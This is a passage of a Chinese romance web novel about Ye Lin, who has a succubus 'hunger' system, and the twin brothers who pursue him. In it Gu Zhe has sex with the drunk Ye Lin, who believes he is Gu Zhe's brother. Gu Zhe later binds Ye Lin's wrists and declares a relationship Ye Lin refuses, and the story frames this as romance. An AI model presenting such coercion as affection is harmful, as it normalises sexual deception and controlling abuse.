刘闻听到他的声音,就像是在荒原里被冷风刺到,愣了片刻才扭头去看顾柘:“叶总白天的时候问我哪个地方的男模好看,估计是去会所玩了。” 其余几个员工小声议论,都为沈邵感到不值,人还在医院躺着,结果男朋友就跑去会所潇洒。 顾柘的眉心紧蹙,风一样地离开梵星,利用人脉调查附近的会所,务必要找到叶临的踪影。 他还以为,叶临只是喜欢勾搭富二代,没想到居然去会所点男模。 这个蠢货,从里到外都烂透了! 二十分钟后,终于找到地方。 顾柘进入会所后,看到周围侍从谄媚的笑就觉得恶心,不敢想象叶临会在里面做些什么。 老板接到消息,知道是顾家的长子过来,立即迎上去,领着他去叶临的包厢,还详细说明今天的具体情况。 顾柘越听越生气,恨不得把叶临抓到面前教育。 老板感觉到顾柘身上的怒气,好似雷暴天气里的滚滚乌云层,大概知道二人的关系,立即麻溜地退下,不敢掺和这场情侣大战。 刚打开包厢门就听到叶临的笑声,还能闻见浓烈的酒味,混合着劣质香水,令人作呕。 叶临喝醉了,昏昏沉沉地靠在小谷的怀里,指着天花板吹牛:“我和你说,半年前我还是个租房的穷小子,靠脑子创业,现在都成叶总了。” 小谷配合地笑起来:“叶总真厉害,年轻有为。” 叶临抬手去摸他的脸颊,感慨手感很好,想到即将满额的饥饿值:“你小子会吗?” 小谷腼腆地笑起来,低声道:“前面后面都是第一次,不太会。” 叶临满意地点点头,轻轻地戳他的胸膛:“没事,我可以教你。我教过很多小处。男,可有经验了。” 小谷听着这句话就想笑,结果注意到面前衣着不凡,气宇轩昂的青年,笑意全部消失,只剩下恶寒。 顾柘拿出一张支票,目光轻蔑地扫过他的脸:“滚!” 小谷在这里混久了,最会察言观色,很快就意识到面前的青年不好惹,立即起身接过支票就往外跑。 叶临摸不到小谷的肌肉,埋怨地问:“你小子跑哪里去了,快抱我去隔壁,要干正事了。” 顾柘注意他手的抓握动作,瞬间就想到他刚刚躺在小谷的怀里做了哪些事情,脸色愈发阴沉,内心被嫉妒的狂风搅得暗流涌动。 叶临叫了好几声都没人搭理,只好坐起来。 注意到眼前的顾柘,只感觉这男模真是神了,站在这个位置居然跟顾嘉致长得一模一样,呼吸都随之停滞。 他不敢相信地揉了揉眼睛,发现男模还是跟顾嘉致很像,于是激动地挥手:“你快过来,傻站着那里做什么!” 顾柘冷冷道:“叶临,你倒是知道享受。” 声线都很像,是顾嘉致本尊来了吗! 【宿主,饥饿值已达99%,请快点补充能量。】 叶临想到顾柘都能正常工作了,顾嘉致的身体应该也恢复好,才会突然跑来找他。 是顾嘉致就没有多少心理负担了,刚刚面对小谷的时候,总是觉得有些膈应,只吹牛迟迟没做正事,才把饥饿值拖到这么高。 叶临站起来,主动朝着顾柘扑过去,抱住腰腹,着急道:“你怎么才来,快点亲亲我。” 顾柘感觉到温热的气息,听到撒娇似的语气,差点以为找错包厢了。 “快亲我,不然又要变魅魔了。” “快点!” 叶临催促两声都没反应,干脆踮起脚搭上顾柘的肩膀,主动仰头去索吻。 顾柘原本差劲的心情因为这个香软的吻缓和不少,可还是生气叶临找男模的事情,强硬地偏头,不让他亲。 【饥饿值已达100%】 叶临腿软得厉害,抓着顾柘的手臂,委屈地抱怨:“你好过分,居然不让我亲,还不帮我!” 顾柘刚想说他凭什么理直气壮地要求自己,结果就看到叶临的背后伸出一条黑色细长的尾巴,尾端是桃心状。 这根尾巴向下低垂,表示沮丧不开心。 而叶临的头顶居然长出两个弯弯的角,眼睛里有水光在闪烁,脸颊潮红。 这? 顾柘怀疑自己看错了,抬手去摸角,就感觉到真实的触感,表面又有毛绒丝绸般的质感,介于粗糙和顺滑之间。 摸到角的同时,尾巴立刻抬起来,轻轻地晃动,就像是小狗高兴的时候。 而且,叶临的嘴唇微张,轻轻地吐息,紧紧地拽着他的衣服,轻声哼唧。 顾柘又摸角,尾巴晃动的幅度更大。 声音也变得高亢,气息变得更加灼热。 “嗯”叶临紧紧地贴着他,声音黏糊糊的,像是甘甜的蜂蜜:“想,想要” 顾柘感觉他不太对劲,伸出手想去捧脸,结果被咬了。 是轻轻的,软软的,痒痒的,在吃什么美味的东西。 叶临嘴里有东西,说话含糊不清,但听语气应该是在催促。 顾柘感觉房间里的气温在升高,眼前的叶临变成了某种小动物,需要他的安抚。 “叶临?” “唔嗯” 叶临听不懂他的话,满脑子只想着解决饥饿值,垫脚故意去蹭,还眨了眨眼睛,试图诱惑面前的人类男性。 顾柘确实被他诱惑到了,抬手就把他抱起来,朝着隔壁的房间走去。 那里有事先准备的卧室,足够他们体验愉快的时光。 魅魔形态的叶临非常乖顺,只要尝到自己想要的东西,就会顺着人类,不会满口脏话,疯狂踢人。 顾柘摸不清叶临现在的状态,但他猜测应该是叶临的秘密。 叶临很喜欢顾柘的各种操作,尾巴高高地抬起来,不断地晃动,还会发出低低的声音。 他喜欢贴着顾柘,更喜欢亲吻,交换彼此的所有。 “没有男人,你会死吗?”顾柘抱着他,低头玩,又亲了亲耳垂询问。 “嗯哼”叶临听不清,抓着顾柘的手去满足自己的想法。 得到满意的结果再轻声哼唧:“喜,喜欢。” 顾柘忽然明白,叶临因为这个秘密才需要很多男人。好像确实不能怪他,这都是生活所迫。 但就这样原谅叶临,会不会太心软了? 顾柘心里这样疑惑,其实动作已经变得轻柔。 随之时间流逝,饥饿值已经下降到安全的数值,尾巴和角全部消失。 叶临恢复了神志,他看着面前的顾柘,抬手去摸脸颊,笑起来问:“顾嘉致,你小子用什么药啊,恢复得这么好,脸上都没疤。” 顾柘刚平复好的心情瞬间就被掀起惊涛骇浪:“你叫我什么?” 叶临主动去亲他,搂着脖子调侃道:“顾嘉致啊,怎么,你难道还想听我叫你嘉致,小致吗,好肉麻!” 明明是炽热的氛围,两个人都能感到愉悦和炽热。 顾柘却笑不出来,如坠冰窖,遍体生寒。 叶临太久没见到顾嘉致了,话像连珠炮似地蹦出来:“你记不记得我啊,我们以前经常这样的。还是你好,能帮我解决饥饿值,其他人都不行。” 顾柘虽然生气,但听到“饥饿值”这个关键词,还是顺势问下去:“我记起很多事情,但忘记饥饿值了,你能再说说吗?” 叶临轻声骂他“笨蛋”,又把饥饿值和魅魔形态的事情说一遍,顺便抱怨小谷:“我本来想找个像你的男模,但发现不是你,就觉得膈应,所以一直没跟他那啥,还好你来了。” 顾柘听完这段话,嫉妒的情绪就像是一把大手把心脏当成毛巾拧起来,鲜血直流,疼痛遍布四肢百骸。 居然,居然爱顾嘉致至此! 顾嘉致是什么道德高尚的好人吗? 叶临居然爱上顾嘉致这种肤浅低俗的混蛋! 顾柘太熟悉他这个弟弟了,而且很多时候双胞胎都会有心灵感应。 他猜测,顾嘉致最初就是贪图叶临的美色,根本没付出真心,都不想跟叶临谈恋爱,纯粹借着朋友的名义占便宜。 顾嘉致后面爱上了叶临,也不敢直说,活该沦落到那个地步。 如果是他先遇到叶临,知道了叶临的秘密,怎么可能会让梁文乐和沈邵这两个贱货得逞。 叶临一开始就会是他的男友,他们会正常恋爱,然后结婚。 顾柘懊悔不已,将叶临紧紧地抱住,沉声劝告:“忘记顾嘉致,他根本不值得你喜欢!” 叶临搞不懂他说的话,无奈地去拧他的手臂:“嘉致,你怎么停了,大病初愈后身体太虚了吗?” 顾柘不想再听到弟弟的名字,强迫他能够直视的自己的正脸,大声道:“看清楚,我不是顾嘉致!” 叶临被他吼得耳朵快要聋了,无奈地服软:“不就是说你虚,有必要发脾气嘛!那我自己来好了,谁让你不争气。” 顾柘心塞痛苦,早已经没有了做那种事情的心思,但他知道叶临不消除完饥饿值,又会去找别的男人,只好继续。 眼前泛白的瞬间,叶临下意识叫了“顾嘉致”的名字。 还以为会得到熟悉的事后温存,结果却是铺天盖地的折磨。 顾柘彻底绷不住,强硬地将叶临拖入漩涡之中,不给休息的机会。 漫漫长夜,他的脑子里只剩下一个念头:只要叶临哭起来,就不会再叫顾嘉致的名字。 50-60 第51章 第51章“以后可以叫你男朋友吗?”…… 叶临醒来就感觉到熟悉的酸痛感,嗓子干干的,急需喝水。 他尝试爬起来,却感觉腰酸,大腿使不上劲,再次狼狈地趴下。 四周的环境很暗,依稀可以看到实木衣柜,高大的圆形落地灯,以及玻璃小茶和方形沙发。 空气中弥漫着一种淡淡的木质香味,像是檀木混合了其他的植物清香。 应该不是会所,也不是沈邵的公寓,到底是哪里? 叶临摸了摸床头,想开灯看清楚这个房间,紧接着就听到门响。 窗帘开了一半,透光进来,照亮了沙发的区域。 可以清楚地看到穿着灰色家居服的顾柘站在那里,正盯着他。 叶临看到顾柘,一时之间还没反应过来,以为是顾嘉致,张口说话,声音沙哑,都没法说出人名。 顾柘端着一碗润喉的汤水过来,用勺子舀起递到嘴边:“张嘴。” 叶临试着尝一口,发现味道清甜还能接受,关键是咽下去可以缓解嗓子的干疼,也就愿意喝。 这时他才能确定面前的不是顾嘉致。 因为每次睡醒后,顾嘉致都会躺在他旁边,玩他的鼻子嘴唇,跟他说说笑笑,被打后才会去找药。 那昨天明明是在会所,怎么会来到这里,旁边还有个顾柘? 那个好看的男模呢? 叶临喝完药,嗓子舒服了很多,总算能开口说话:“昨天那个男模小谷呢,我付钱了的。” 顾柘微微捏紧勺子,沉声道:“以后想消除饥饿值,找我,别去找男模!” 叶临像是被雷电集中,猛然抬眼去看顾柘,迟疑片刻才试探性地问:“你,你说什么啊?” 顾柘放好碗和勺子,顺着纹路去摸脸颊,然后是嘴唇:“饥饿值和魅魔形态的事情,我都知道了。” 秘密被,被大反派知道了吗? 叶临连忙拜托魅魔系统查询饥饿值。 【宿主目前的饥饿值为1%,几个小时前的金钱增速为每小时22万。】 【当前的资产为七千万。】 还,还真是清除了饥饿值,资产也增加了。 那他昨天肯定是跟人做了那种事情,难道不是小谷,是顾柘吗? 叶临小心翼翼地问:“关于饥饿值和魅魔系统,你知道多少?” 顾柘把他昨天晚上的话原封不动地说出去,还严肃地跟他科普会所里的男模都不干净,随便玩会得病。 叶临发现他真知道了自己的秘密,吓得浑身冒冷汗。 这谁能不怕! 身为主角,却被反派知晓秘密,这也太恐怖了吧。 他又试探,才确定顾柘不知道他可以靠距离获取金钱,只是知道了魅魔形态和饥饿值的事情。 看来以后,要注意顾柘的态度。 要是这个混蛋恼羞成怒,用魅魔形态威胁他,岂不是完蛋! 叶临想到昨天的情景,抓了枕头:“顾嘉致呢,我昨天晚上还见到他的?” 顾柘下意识地用力掐住下巴,听到他喊疼才松开,冷冷道:“他没回来,病都没治好。” 叶临顿时反应过来,昨天晚上的是顾柘,所以他今天出现在这里,才说得过去。 联想到之前顾柘在公寓跟他欢好,被顾嘉致发现就来气。 顾柘掀起被子,看到凄惨的痕迹,拿出药膏要去涂,结果被叶临掀回去盖住。 叶临瞪他一眼,没好气地发问:“你昨天晚上没事干,装顾嘉致骗我做什么!” 顾柘刚消下去的火腾地冒起来,咬牙切齿:“我没装,是你认不出!” 叶临确实想到是醉酒的原因,但他嘴硬,就是要甩锅给顾柘:“我说是你装,就是你装。跟有病似的,天天就知道装顾嘉致,很好玩吗?” 顾柘猛然将他双手控住,凑到他耳边警告:“你不长记性的话,我现在就可以让你知道,我和他之间的区别。” 昨夜的记忆像是潮水翻涌:短促痛苦,极致欢愉,无助昏厥。 如果他哭着求饶,用力咬和打,顾嘉致就会温柔一些,边亲边哄,等到他缓过来再继续。 但要是换成顾柘,就像是没有痛觉,不会温柔,更不会停下,只知道不断地拔高他的阈值。 算了吧,这个混蛋不好惹。 而且残血打不过,先服软,以后找到机会再报复回去。 大丈夫能屈能伸。 叶临思来想去,选择认怂:“好吧,顾嘉致没回来,昨天晚上是你。那你把我折腾这么狠,就应该负责!” 顾柘就喜欢听到“负责”这个词,这样显得两个人的关系非比寻常,像是互相嫌弃的恋人。 “手拿开,涂药。” “就涂药,别乱来啊。” 叶临抬起手,严肃地警告,生怕他控制不住,又折腾一次。 毕竟,梁文乐和顾嘉致都做过类似的事情,也就沈邵能克制。 顾柘看出他的焦虑,手法轻柔,眼神轻蔑:“你以为我是没有理智的畜牲吗,这种时候还能发。情?” 叶临感觉到动静,用力抓紧枕头,颤着声音应和:“那,那你还算有理智。” 涂药的时间居然比沈邵还要快,清凉感洗去昨日的不适。 叶临又恢复了些许活力,可以趴着打游戏。 顾柘去洗手间做清洁,即将打开水龙头的时候,又犹豫了。 他想到叶临晃动尾巴的模样,还是停止动作,鬼使神差地抬手凑到鼻尖深嗅,闭眼品味。 是独属于叶临的气息,甜腻中混合着药物的微涩,感觉很奇妙。 不知道过了多久,他抬眼注意到镜子中的自己:眼神痴迷,神情餮足。 非常陌生,完全不像平时的他。 此时,他很想砸碎镜子,质问里面的人是不是疯了? 为什么会迷恋叶临这种人? 叶临长着一张单纯无辜的脸,却做尽坏事。 最初,叶临同时吊着梁文乐和顾嘉致,背地里还勾搭个沈邵。 后面,叶临在婚礼上绿了梁文乐,还能毫无负担地跟沈邵在医院亲密,厚颜无耻。 明明没有本事,多次深陷困境,还能自信吹牛。 顾柘在心里把叶临贬低了无数遍,又怀疑自己的脑子出了问题,居然心甘情愿地被这种混蛋驱使,还自甘堕落地跟他睡。了一次又一次。 世界上比叶临好看优秀的男生多了去,为什么偏偏抓着他不肯放? 顾柘想不明白自己对叶临的执念源自何处,但他明白一件事——现在的他不想离开叶临。 记得母亲提起梁氏婚礼闹剧,他当时就觉得梁文乐是个彻头彻尾的蠢货。 如果是他跟叶临订婚,沈邵根本没有捣鬼的机会,只会沦为可怜的看客,而叶临会被他紧紧地攥在手里,哪也去不了。 结婚的话 顾柘心里涌起这个念头,下意识地往外看,注意到叶临正趴着打游戏,身上盖着薄被,依稀可以看出大致的轮廓。 这瞬间,目光像是无形的大手,牢牢地握住纤细的腰,将其禁锢在方寸之间。 沉浸在游戏里的叶临,对房间里突然多出的目光无知无觉,像是在草原上撒欢奔跑的绵羊,哪里知道自己已经暴露在野狼的视野之中,马上就要沦为食物。 “烦死了,还是网游好玩!” 叶临过不了关卡,气得将游戏机甩到一边,拿起手机约楚诏上线。 刚打开屏幕就看到五条消息,是楚诏发给他的,很着急他昨天晚上的动向,一直问他在做什么。 已经有点恋爱上头那味了,果然gay都这样啊。 【大神,我昨天熬夜加班发高烧晕倒了,没有及时回你消息,很抱歉。】 【没事,你们公司真恶劣,居然要你熬夜加班?】 【嗯嗯,是刘组长要求我加班的,他说我能力太差劲了。】 【我觉得好奇怪,他以前对我可好了,下雨都会给我送伞,还会帮我完成工作。自从昨天我说了有男朋友,他就恶意针对我。】 叶临发完消息,顺手就发了哭哭的表情包。 楚诏在屏幕前急得冒火,恨不得冲到梵星,把这个欺负甜甜圈的混蛋刘闻打一顿,为可怜的甜甜圈出气。 可是他真的不想去梵星,见到叶临那个神经病。 【你去登录刘闻的电脑,我帮你黑了。】 叶临看到这条消息,忍不住骂了,“窝囊”。 楚诏就是废物,暧昧对象都被欺负了,还不去线下帮忙维护,只是躲在电脑前面恶整,算什么男人? 气死了,这得谈到什么时候? 叶临嘴里骂骂咧咧的,但还是要用可爱的语气发消息。 【算了吧,我觉得背后整人不太好。而且刘闻组长的电脑了也有我做的项目,黑掉的话,我的成果也没有了。】 【好吧。】 楚诏长叹一口气,心疼善良的甜甜圈。忍不住感慨,世界上怎么会有如此可爱单纯的小男生。 【我刚刚退烧了,有点想打游戏,大神你有空吗?】 【退烧了也需要调养,你还是好好休息吧,别玩了。】 【可是我真的很想玩,平时上班都玩不尽兴,好不容易请假才有时间玩的。】 【好吧,我上线等你。】 【大神,爱你!】 叶临发了亲亲的表情包,掀被子想下床,结果看到顾柘在旁边坐下来。 顾柘听到他刚刚在骂人,猜测应该是在玩游戏,好心劝告:“身体不舒服,就少打游戏,老老实实休息。” 叶临翻了白眼:“切,我不舒服是因为谁啊,有没有游戏室,我要去打游戏!” 顾柘拿起毛茸茸的拖鞋放在他要落地的地方:“没有。” 叶临踩上去就嫌弃地抱怨:“真穷,顾嘉致的公寓就有专门的游戏室,你都不装修一个!” 之前住在顾嘉致家里,每天都去游戏室玩,享用最好的配置。现在这里,居然都没有游戏室,当然不平衡。 顾柘像是被扎了,语气急躁:“你老是提顾嘉致做什么!?” 叶临扫了他一眼:“谁让你跟他长得像,我当然会比较啊。早知道就去顾嘉致的公寓了,可以用大屏打游戏。” 顾柘冷着脸没说话,快要被他气死。 叶临毫无眼力见,嘴里嘟囔着,跑出卧室,进了书房用他处理公务的电脑打游戏。 今天是发烧的可怜人设,还没有变声器,就没有说话。 楚诏一直打字关心他的身体健康,顺便痛骂梵星。 叶临毕竟是梵星的老板,还是要纠正他说的话:梵星和是好公司,老板人很好,只有刘闻不好。 今天下副本,四个人合作击杀新的版本boss。 另外两个是一男一女,互不认识。 其中的男生是个0,技术很好,但一直开麦吐槽,话很多。 叶临发现,0只要是对楚诏说话,就会放软语气,还学着他叫大神,听着很不舒服。 “大神大神,你快攻击怪物的腹部。” 楚诏打字回应,他就调侃打字速度。 “大神,你好厉害,可以边打怪边打字聊天!” 不仅如此,楚诏后面都不打字回复了,他还一直在那里说个不停,像个夏夜里的青蛙,聒噪嘈杂。 旁边的女生特别温柔懂礼貌,劝他收敛一点,还是不听。 受不了,感觉0像是故意捏着嗓子说话,是最腻的劣质糖浆,浑身都散发着臭味。 【能不能正常说话,夹死了!】 “哇,甜甜圈,你说话好冲,我怎么夹了!” 【跟大神说话的就很夹,你以为我看不出你什么想法吗!】 “哦,那我什么想法,你说啊!” “怎么不开麦,跟我说清楚!” 叶临平常打游戏就开麦跟人对喷,今天有楚诏在才一直压抑。 但是对方都挑衅到这个份上了,实在忍不下去! 他只好开麦,用沙哑的声音地回怼。 “不就是想跟大神谈恋爱嘛!” “你声音好难听啊,怪不得一直不开麦。” “呵呵。” “大神厉害,我就是喜欢,想跟他谈恋爱,跟你有什么关系?” “你又没和大神绑定道侣关系,凭什么管我!” “我” 叶临差点就想飙脏话,把他祖宗十八代都骂一遍,但是想到有个楚诏在,硬生生地停住。 真是憋死人! 等楚诏下线了,他一定要约这个0决斗,用语音骂哭才罢休! 叶临操作人物,移动到楚诏身边,只给他的剑修补血,没有管旁边0操控的残血双刀。 0的技术确实厉害,残血也能躲避怪物的攻击,精准地释放技能。 他还故意吸引怪物的火力,朝着叶临的那边跑去,出言讽刺。 “笑死了甜甜圈,你不会暗恋大神,太自卑不敢表白吧。” “也是,看你就只会玩个辅助,什么技术含量都没有,怪不得自卑呢。” “都不是大神的男朋友,居然好意思怼我!” 叶临是个没有攻击力的辅助,只能不断地躲闪。此刻他多么懊悔,要是选个战士,早把怪物屠了。 楚诏操作游戏人物挡住叶临的面前,释放华丽的剑招,绕着辅助打怪,完全不管其余的两个队友。 “甜甜圈你怎么不说话,怕了是吧!” “什么人啊,你以为大神喜欢你吗,就在这里叽叽歪歪!” 叶临怒火中烧,差点想把键盘砸了。 楚诏发现他一直不说话,猜测单纯无辜的甜甜圈受欺负,心情很差劲,估计都快掉小珍珠了。 现在没有空余时间打字,只好开麦制止闹剧。 “我不喜欢你,少在那里瞎吵!” 他的声音清爽干净,还有种独特的磁性,听得0心花怒放,立即恭维。 “啊,大神?我只是觉得甜甜圈多管闲事,他都不是你男朋友。” 叶临顿时灵感一现,连忙补充。 “大神,其实他说的对,我和你只是普通的朋友圈,确实没啥资格。” “哟哟哟,现在倒是有自知之明了,大神怎么可能会喜欢你?” 楚诏记得甜甜圈今天感冒刚好,声音都是沙哑的,说话委屈巴巴的,惹人怜爱。 “我喜欢他,他就有资格。” “啊,大神你?” “我们出副本就绑定道侣关系。至于你,别想分到装备。” 楚诏说完就释放大招。 画面里,白衣胜雪的剑修站在正太辅助面前,挥出新月似的一剑,瞬间斩断怪物的咽喉,结束了战斗。 副本奖励是按照伤害计算的,楚诏可以拿到所有高阶奖励,而其余人只能分到小装备。 出副本后,楚诏只把奖励分给女生,迅速解散队伍。 叶临已经闭麦,打字故作害羞。 【大神,你刚刚说的都是真的吗?】 【真的。】 电脑屏幕里弹出道侣申请,发起人是楚诏的账号。 叶临没有着急点,还要故意扭捏一会儿。 【我还以为你不会喜欢我这种人,刚刚听到你说喜欢我,就像是在做梦。】 【你很好,可爱善良,会为人着想。】 楚诏想了很多情话,可是手放在键盘上,紧张得发抖,死活打不出来,只能笨拙地夸赞。 虽然是网恋,但也是他的初恋,脸颊和耳尖都在发烫,胸膛里像是在打鼓。 他很怕甜甜圈不答应道侣申请,紧张地盯着屏幕页面,像是在看生命的倒计时。 没一会儿,对面就同意了道侣申请,还给他发消息。 【那我以后可以叫你男朋友吗?】 【可以。】 【那我们换情侣头像和昵称吧,好像情侣都这样呢。】 【嗯,你来挑就好。】 楚诏的文字语气平淡,实则已经坐不住,站起来喝水,绕着椅子走了好几圈。 真的不敢相信,他居然恋爱了? 可是甜甜圈真的很可爱,是个值得被爱的好人。 对方发来了可爱的狗狗情侣头像,但是没有昵称。 楚诏把昵称改成了“心里有甜甜圈”,再换上情侣头像,跟他聊聊好几句。 叶*临看到他的昵称,就知道这条鱼被自己钓到手了,得意地抬手轻叩桌面,连声啧啧。 这时,顾柘推门进来。 叶临立即退掉游戏,摘下耳机看他:“你要工作了?” 顾柘看向门外:“出去左手边有电脑,去那边打。” 叶临半信半疑地走过去,发现这个房间何止是有电脑,是装修了一个游戏室。 里面已经有了32寸的高清电脑屏幕,以及最新款的高效处理器和奢华音响。 桌面上摆放价值十几万的红黑色机械键盘,有炫酷灯光的鼠标。 电竞专用椅子和耳机,房间里还有冰柜和沙发,供人休息。 就是墙面太素了,没有游戏彩绘,天花板也没有好看的灯光,更没有手办。 还是顾嘉致的游戏室专业,从电脑配置和房间装饰性都是一流的。 顾柘这个游戏室明显是临时拼凑的,只有电脑配置。 算了,有的玩就行。 叶临在椅子上坐下来,发现还有舒适的软垫,转了个圈,由衷地夸赞:“这个椅子不错嘛。” 紧接着又去摸键盘和鼠标,查看电脑里的游戏,啧啧称赞。 顾柘不理解他沉迷于游戏这种行为,但还是在最短的时间里让人采购电竞设备送到这里,临时装修出一个游戏室。 “晚饭时间就出来,别一直呆在这里,对眼睛不好。” “你说话好像爸爸那一辈的,真没劲。” 顾柘跟这种头脑简单,四肢发达的家伙没话说,去了书房处理梵星那些破事。 关上门后,游戏室就跟隔音的美妙天堂,可以尽享虚拟世界的快乐。 叶临随便找了个借口忽悠楚诏,解释刚刚的下线。 楚诏被恋爱冲昏了头脑,没有仔细考虑,愿意开麦打游戏。 叶临边跟楚诏玩游戏边调情,直到眼睛酸疼才找借口下线。 正是午后,阳光温润,呈现出琥珀色,透过轻纱般的云层,洒落在城市的街道,行人的影子被拉长。 叶临看着窗外的城市风光,感慨日子悠闲有趣。 他感觉渴,习惯性地打开冰箱,想拿几瓶饮料喝。 结果冰箱里都是纯净水,还都是英文牌子,看不懂。 当然也没有他爱吃的垃圾食品,寡淡至极。 这不对劲啊? 叶临终于反应过来,这里是顾柘家,不是顾嘉致的公寓。 可以安心地在顾嘉致的公寓里打游戏,悠闲地享受午后,但是不能在顾柘家里做这些事情。 刚刚应该是看顾柘跟顾嘉致长得像,才会有了久违的轻松感,下意识地想住在这里。 其实他在醒来后就该立刻离开,久待是不对的。 叶临心里五味杂陈,睡衣都还没换,走到玄关处就想离开。 结果被出书房的顾柘看到。 “你想去哪里?” 第52章 第52章“你想着我做什么?” 叶临的语气轻飘飘,像是在跟普通同事道别:“回家啊。” 顾柘的速度很快,眨眼睛就到了他面前,抬手按住门把手:“你回哪个家,沈邵的公寓吗?” 叶临打了个哈欠:“差不多吧,反正不能在你这里睡一晚。” 顾柘的手指暗暗用力:“为什么不能?” 叶临看着顾柘的脸,暗暗提醒自己这是混蛋顾柘,语气嫌弃:“额顾柘,我们的关系还没好到住一晚上吧。” 顾柘直接抓住他的手往后拽,强硬地抱进怀里,埋头到耳边低声提醒:“我们什么关系,不是在谈恋爱?” 叶临的耳朵发痒,听到他的话一时之间还没反应过来,疑惑了片刻才质问:“你说什么,我们在谈恋爱!?” 顾柘不是顾嘉致,他没有耐心等待复杂的暧昧期,只想要最后的结果。 更不胆小懦弱,知道自己想要什么,就会直说,绝不多绕远路。 他用一种极其迷恋的姿态亲了叶临的脸颊,脖颈,声音低沉却粘糊:“既然是谈恋爱,住在男朋友家里很正常。你今天晚上只能在这里休息,哪也别想去。” 叶临快被顾柘震碎了三观,他试图挣扎,却被抱起来,双腿悬空再也没有机会。 “不是,顾柘你有病吧!我们就谈恋爱了?我们互相表白了吗,我同意了吗,你就在这里瞎搞?” “那我现在补充,我喜欢你,要跟你谈恋爱。” “我,我,我不同意,你放开我!” “你没得选。” 顾柘轻轻地把他放下来,盖好被子。 叶临掀开被子,就想跟这个脑残决斗,结果双手都被束缚住,只好破口大骂。 “顾柘,我操你大爷的!哪有你这样的!想跟人谈恋爱,首先得约会暧昧,其次是两情相悦的告白,最后才能确定关系。 你什么都没有,就在这里瞎扯我们谈恋爱,这对吗!” “之前我生病,你屡次三番地来找我就是在暧昧,答应跟我签合同是同意确定关系,至于表白,我刚刚已经补上了,当然是在谈恋爱。” 顾柘的神情冷静,仿佛在陈述一件再合理不过的事实,面前吵吵嚷嚷的叶临是疯子,他才是理智的正常人。 实际上叶临的态度急躁,说话都是正常人才有的逻辑,而他已经不正常,思维逻辑混乱,才是疯子。 叶临解不开手里的束缚,愤恨地看着顾柘,咬牙骂道:“世界上怎么会有你这种厚颜无耻的人,乱找借口单方面宣布我们谈恋爱? 你生病的时候,我去找你是想折磨你,你居然觉得是调情,脑子进水了吧!还有,公司合同是合作共赢,为了赚钱,怎么就成同意关系了!” 顾柘的耐心耗尽,眼神阴鸷,冷笑起来:“你知道我不是什么好人,还跑来找我帮忙,当然是自投罗网。现在梵星是我们两个人的,算是爱情的见证。” 叶临从他身上感觉到一股刺骨的寒意,就像是大晚上阅读原著被大反派的狠戾手段吓到,顿时不想再继续刺激这个疯子。 “行行行,我们在谈恋爱,那你先放开我,绑着我算怎么一回事。” “以后,你不能去找沈邵,他病好以后,梵星也不会再有他的位置。” “这” “我不是顾嘉致和梁文乐,可以蠢到相信你和沈邵只是普通关系,他必须走。” “行行行,我都答应你。”叶临感觉整个人站在悬崖边上,随时都会落地,只想快点移动到安全的地方。 反正他嘴上答应说一回事,实际操作又是另外一回事。 “叶临,你是个狡猾的骗子。”顾柘盯着他眼神里的慌乱,凑过去吻,咬出血才松开:“但是没关系,我会管好你。” 叶临没想到会被顾柘缠上,但听语气应该是喜欢自己的,只好走老路,轻声撒娇:“你,你都是我男朋友了,还绑着我,太过分了吧,都弄疼我了。” 顾柘起身坐到旁边的沙发,打开笔记本处理公事,头也不抬,语气冷淡:“谁让你不听话,应该吃点苦头。” 这,这真是神经病啊! 叶临气得肺部都要烧起来,恨不得踹死这个脑瘫,但是只能软着声音撒娇。 结果无论他说什么,顾柘都像是没听见一样,专心敲击键盘,不为所动。 叶临忍不了,只好继续骂。 他不仅骂顾柘是社会败类,是该死的人渣,还把除开顾嘉致的顾家人都骂了一遍,骂得直白且脏。 顾柘听到这些脏话,心里并不会有波动,像是一潭死水,无论如何都翻不起风浪。 天色已晚,房间里的空调开得足,冷风没有灌进来。 可是手腕被束缚的时间过长,就会酸痛,而且骂久了,口干舌燥,大脑还会缺氧。 叶临躺在床上很难受,心里愤恨。 自从穿书后,他已经很久没有吃过这种苦了。 要是刚穿过来被这样对待,那他回忆起以前的苦日子,还是可以忍受。 可是已经享受过了好日子,哪里能忍这种苦痛。 更何况,他遇到的这几个男人里面,就只有顾柘禁锢自由,还折磨他。 哪怕是梁文乐,顶多就是发脾气吵架,才不会这样绑着他。 叶临越想越难受,情不自禁道:“要是顾嘉致在,他才不会这样对我。” “你说什么!” 顾柘的话冷不丁地冒出来,像是黑夜里的子弹,泛着银光,但是要中弹后才能感知到。 叶临偏头去看他,总算在那双平静无波的眼睛里找到几丝起伏:“本来就是,顾嘉致才不会绑着我,不让我动,更不会弄疼我。你只是跟他长得像,但是哪里都比不上他。” 偏偏是顾嘉致。 倘若是别的男人,那他不屑于比较。可 是顾嘉致不同,是他的双胞胎弟弟,更是叶临的初恋,像是逆鳞,一碰就会起火。 哪怕叶临嘴上不说,所有人都能看出来顾嘉致在他心里的重要性。 他想跟叶临谈恋爱,这是真话。 现在的叶临不喜欢他,没关系,先绑在身边,会日久生情的。 可要是叶临心里一直有顾嘉致,那怎么可能有希望。 顾柘再也坐不住,起身走到叶临的旁边,盯着他的眼睛看,浑身都散发着低气压,像是一只酝酿杀意的狮子。 叶临看到他这副模样,就知道自己成功找到了拿捏顾柘的弱点:“我说的是实话啊,虽然我跟顾嘉致没谈过恋爱,但我们的关系比谁都要好。 如果你想当我的男朋友,至少要比顾嘉致好,我才能接受。” 顾柘听到他的话,又松了一口气,坐下来心平气和地问:“哦,那你说说,我该怎么对你好?” 叶临抬起手腕给他看:“先解开,再跟我道歉。” 顾柘解开束缚,发现手腕皮肤太细嫩,都勒出红痕,怜惜地摸了摸。 叶临踹了他一脚,才坐起来骂:“快跟我道歉,再准备晚饭,我还没吃饭,饿了!” 顾柘没被踹疼,相反还觉得他的脚小,拉开柜子拿出药膏,帮他涂抹手腕:“抱歉,刚刚是我做的不对。” 叶临听到道歉,洋洋得意地踩他:“你这样没有诚意,根本不知道自己错在哪里!” 顾柘轻柔地抚摸伤处边缘的皮肤,看到他这副恃宠而骄的模样,心里得到了巨大的满足:“对不起,我刚刚不应该绑住你,应该给你自由。” 叶临满意了,拿起手机躺下来玩,催促他快点去准备晚饭。 他刷到赛车的帖子,大都是炫耀各种改装车,在难度高的赛道比赛,心里痒得厉害。 可是这些机车都很贵,动辄百万,还需要厉害的人脉才能找到厉害的修车师傅帮忙改装。 叶临想到自己那辆机车,大半年都玩腻了,就想要新的机车。 他现在也有钱买机车,可是经营梵星后就不太舍得花钱,只能找别人买单了。 叶临下床,朝着客厅走去。 